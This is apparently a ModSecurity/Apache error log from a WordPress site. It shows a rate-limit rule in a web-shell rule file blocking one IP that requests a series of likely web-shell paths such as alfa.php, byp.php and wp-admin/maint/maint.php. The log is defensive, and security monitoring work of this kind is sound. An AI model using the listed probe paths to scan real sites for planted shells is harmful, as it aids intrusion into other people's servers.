[Sat Feb 28 11:37:10.774251 2026] [:error] [pid 52460:tid 52479] [client 20.104.82.189:6200] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaJi5rLWOogAgHGh62TclQAAAZA"]
[Sat Feb 28 11:37:11.183912 2026] [:error] [pid 52460:tid 52484] [client 20.104.82.189:6237] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aaJi57LWOogAgHGh62TcnAAAAZU"]
[Sat Feb 28 11:37:11.596420 2026] [:error] [pid 11791:tid 11802] [client 20.104.82.189:6258] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aaJi52uX5e1Q32gqxH3spgAAAQk"]
[Sat Feb 28 11:37:12.006431 2026] [:error] [pid 11791:tid 11794] [client 20.104.82.189:6411] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aaJi6GuX5e1Q32gqxH3sqQAAAQE"]
[Sat Feb 28 11:37:12.461497 2026] [:error] [pid 11791:tid 11796] [client 20.104.82.189:6245] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aaJi6GuX5e1Q32gqxH3srwAAAQM"]
[Sat Feb 28 11:37:12.898655 2026] [:error] [pid 52460:tid 52465] [client 20.104.82.189:6391] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aaJi6LLWOogAgHGh62TcpAAAAYI"]
[Sat Feb 28 11:37:13.325285 2026] [:error] [pid 39184:tid 39223] [client 20.104.82.189:6294] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aaJi6VtZF9Zd_U7easDHBAAAAEQ"]
[Sat Feb 28 11:37:13.746771 2026] [:error] [pid 52460:tid 52467] [client 20.104.82.189:6191] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aaJi6bLWOogAgHGh62TcqAAAAYQ"]
[Sat Feb 28 11:37:14.174086 2026] [:error] [pid 52460:tid 52484] [client 20.104.82.189:6168] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aaJi6rLWOogAgHGh62TcrAAAAZU"]
[Sat Feb 28 11:37:14.588220 2026] [:error] [pid 52460:tid 52483] [client 20.104.82.189:6255] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaJi6rLWOogAgHGh62TctAAAAZQ"]
[Sat Feb 28 11:37:14.997542 2026] [:error] [pid 52460:tid 52465] [client 20.104.82.189:6277] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaJi6rLWOogAgHGh62TctgAAAYI"]
[Sat Feb 28 11:37:15.410202 2026] [:error] [pid 22194:tid 22214] [client 20.104.82.189:6312] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaJi636mbajs3bzQGysm2AAAAVI"]
[Sat Feb 28 11:37:15.827143 2026] [:error] [pid 39292:tid 39308] [client 20.104.82.189:6222] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaJi66IAO5fN7BxyqcGydwAAAM4"]
[Sat Feb 28 11:37:16.247109 2026] [:error] [pid 39183:tid 39199] [client 20.104.82.189:6346] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aaJi7BCf4HvhVePw3LbZYQAAAAc"]
[Sat Feb 28 11:37:16.665193 2026] [:error] [pid 52460:tid 52478] [client 20.104.82.189:6251] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aaJi7LLWOogAgHGh62TcvwAAAY8"]
[Sat Feb 28 11:37:17.088401 2026] [:error] [pid 39185:tid 39251] [client 20.104.82.189:6327] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aaJi7RVE-FfM89u7BQZ6gAAAAIU"]
[Sat Feb 28 11:37:17.518903 2026] [:error] [pid 52460:tid 52465] [client 20.104.82.189:6183] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aaJi7bLWOogAgHGh62TcxQAAAYI"]
[Sat Feb 28 11:37:17.936984 2026] [:error] [pid 52460:tid 52479] [client 20.104.82.189:6261] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaJi7bLWOogAgHGh62TcyQAAAZA"]
[Sat Feb 28 11:37:18.352805 2026] [:error] [pid 11791:tid 11797] [client 20.104.82.189:6295] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaJi7muX5e1Q32gqxH3stQAAAQQ"]
[Sat Feb 28 11:37:18.775447 2026] [:error] [pid 52460:tid 52485] [client 20.104.82.189:6387] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaJi7rLWOogAgHGh62TczAAAAZY"]
[Sat Feb 28 11:37:19.187873 2026] [:error] [pid 52460:tid 52484] [client 20.104.82.189:6297] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaJi77LWOogAgHGh62Tc0QAAAZU"]
[Sat Feb 28 11:37:19.606236 2026] [:error] [pid 52460:tid 52482] [client 20.104.82.189:6269] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaJi77LWOogAgHGh62Tc1gAAAZM"]
[Sat Feb 28 11:38:18.185408 2026] [:error] [pid 52460:tid 52473] [client 20.104.82.189:6402] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaJjKrLWOogAgHGh62Td5QAAAYo"]
[Sat Feb 28 11:38:18.610950 2026] [:error] [pid 52460:tid 52468] [client 20.104.82.189:6433] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaJjKrLWOogAgHGh62Td6AAAAYU"]
[Sat Feb 28 11:38:19.030675 2026] [:error] [pid 52460:tid 52476] [client 20.104.82.189:6288] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaJjK7LWOogAgHGh62Td6wAAAY0"]
[Sat Feb 28 11:38:19.453812 2026] [:error] [pid 52460:tid 52478] [client 20.104.82.189:6268] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaJjK7LWOogAgHGh62Td8wAAAY8"]
[Sat Feb 28 11:38:19.869660 2026] [:error] [pid 11791:tid 11808] [client 20.104.82.189:6171] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aaJjK2uX5e1Q32gqxH3tRQAAAQ8"]
[Sat Feb 28 11:38:20.431256 2026] [:error] [pid 39185:tid 39266] [client 20.104.82.189:6264] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aaJjLBVE-FfM89u7BQZ7bAAAAJQ"]
[Sat Feb 28 11:38:20.847058 2026] [:error] [pid 52460:tid 52465] [client 20.104.82.189:6164] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aaJjLLLWOogAgHGh62Td_wAAAYI"]
[Sat Feb 28 11:38:21.295253 2026] [:error] [pid 22194:tid 22212] [client 20.104.82.189:6293] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aaJjLX6mbajs3bzQGysnFQAAAVA"]
[Sat Feb 28 11:38:21.722856 2026] [:error] [pid 39185:tid 39252] [client 20.104.82.189:6271] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaJjLRVE-FfM89u7BQZ7cAAAAIY"]
[Sat Feb 28 11:38:22.160346 2026] [:error] [pid 11791:tid 11805] [client 20.104.82.189:6344] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaJjLmuX5e1Q32gqxH3tSAAAAQw"]
[Sat Feb 28 11:38:22.577943 2026] [:error] [pid 52460:tid 52485] [client 20.104.82.189:6330] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaJjLrLWOogAgHGh62TeBgAAAZY"]
[Sat Feb 28 11:38:22.998956 2026] [:error] [pid 39185:tid 39251] [client 20.104.82.189:6318] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaJjLhVE-FfM89u7BQZ7cgAAAIU"]
[Sat Feb 28 11:38:23.549627 2026] [:error] [pid 39184:tid 39240] [client 20.104.82.189:6298] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aaJjL1tZF9Zd_U7easDHOQAAAFU"]
[Sat Feb 28 11:38:23.975229 2026] [:error] [pid 39185:tid 39262] [client 20.104.82.189:6310] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aaJjLxVE-FfM89u7BQZ7dAAAAJA"]
[Sat Feb 28 11:38:24.422593 2026] [:error] [pid 39185:tid 39259] [client 20.104.82.189:6313] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aaJjMBVE-FfM89u7BQZ7dgAAAI0"]
[Sat Feb 28 11:38:24.840345 2026] [:error] [pid 39185:tid 39254] [client 20.104.82.189:6365] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aaJjMBVE-FfM89u7BQZ7egAAAIg"]
[Sat Feb 28 11:38:25.251686 2026] [:error] [pid 39185:tid 39255] [client 20.104.82.189:6169] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaJjMRVE-FfM89u7BQZ7ggAAAIk"]
[Sat Feb 28 11:38:25.681836 2026] [:error] [pid 39183:tid 39192] [client 20.104.82.189:6250] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaJjMRCf4HvhVePw3LbZrwAAAAA"]
[Sat Feb 28 11:38:26.104198 2026] [:error] [pid 52460:tid 52486] [client 20.104.82.189:6316] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaJjMrLWOogAgHGh62TeEQAAAZc"]
[Sat Feb 28 11:38:26.535828 2026] [:error] [pid 39183:tid 39194] [client 20.104.82.189:6409] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaJjMhCf4HvhVePw3LbZsAAAAAI"]
[Sat Feb 28 11:38:26.969829 2026] [:error] [pid 52460:tid 52480] [client 20.104.82.189:6187] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaJjMrLWOogAgHGh62TeFQAAAZE"]
[Sat Feb 28 11:38:27.387738 2026] [:error] [pid 52460:tid 52466] [client 20.104.82.189:6182] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaJjM7LWOogAgHGh62TeFwAAAYM"]
[Sat Feb 28 11:38:27.815624 2026] [:error] [pid 39185:tid 39267] [client 20.104.82.189:6329] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaJjMxVE-FfM89u7BQZ7sAAAAJU"]
[Sat Feb 28 11:38:28.236248 2026] [:error] [pid 52460:tid 52464] [client 20.104.82.189:6206] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaJjNLLWOogAgHGh62TeGgAAAYE"]
[Sat Feb 28 11:38:28.650528 2026] [:error] [pid 11791:tid 11808] [client 20.104.82.189:6319] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aaJjNGuX5e1Q32gqxH3tVQAAAQ8"]
[Sat Feb 28 11:38:29.076189 2026] [:error] [pid 22194:tid 22217] [client 20.104.82.189:6362] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aaJjNX6mbajs3bzQGysnHwAAAVU"]
[Sat Feb 28 11:38:29.501611 2026] [:error] [pid 52460:tid 52479] [client 20.104.82.189:6363] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aaJjNbLWOogAgHGh62TeHAAAAZA"]
[Sat Feb 28 11:38:29.915152 2026] [:error] [pid 11791:tid 11807] [client 20.104.82.189:6373] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aaJjNWuX5e1Q32gqxH3tWwAAAQ4"]
[Sat Feb 28 11:38:30.334249 2026] [:error] [pid 39183:tid 39210] [client 20.104.82.189:6376] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aaJjNhCf4HvhVePw3LbZswAAABI"]
[Sat Feb 28 11:38:30.761416 2026] [:error] [pid 11791:tid 11809] [client 20.104.82.189:6254] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aaJjNmuX5e1Q32gqxH3tXgAAARA"]
[Sat Feb 28 11:38:31.192367 2026] [:error] [pid 11791:tid 11811] [client 20.104.82.189:6345] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aaJjN2uX5e1Q32gqxH3tYAAAARI"]
[Sat Feb 28 11:38:31.625093 2026] [:error] [pid 22194:tid 22214] [client 20.104.82.189:6299] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aaJjN36mbajs3bzQGysnJAAAAVI"]
[Sat Feb 28 11:38:32.037602 2026] [:error] [pid 39292:tid 39309] [client 20.104.82.189:6369] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aaJjOKIAO5fN7BxyqcGy3AAAAM8"]
[Sat Feb 28 11:38:32.454836 2026] [:error] [pid 39292:tid 39303] [client 20.104.82.189:6340] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aaJjOKIAO5fN7BxyqcGy3QAAAMk"]
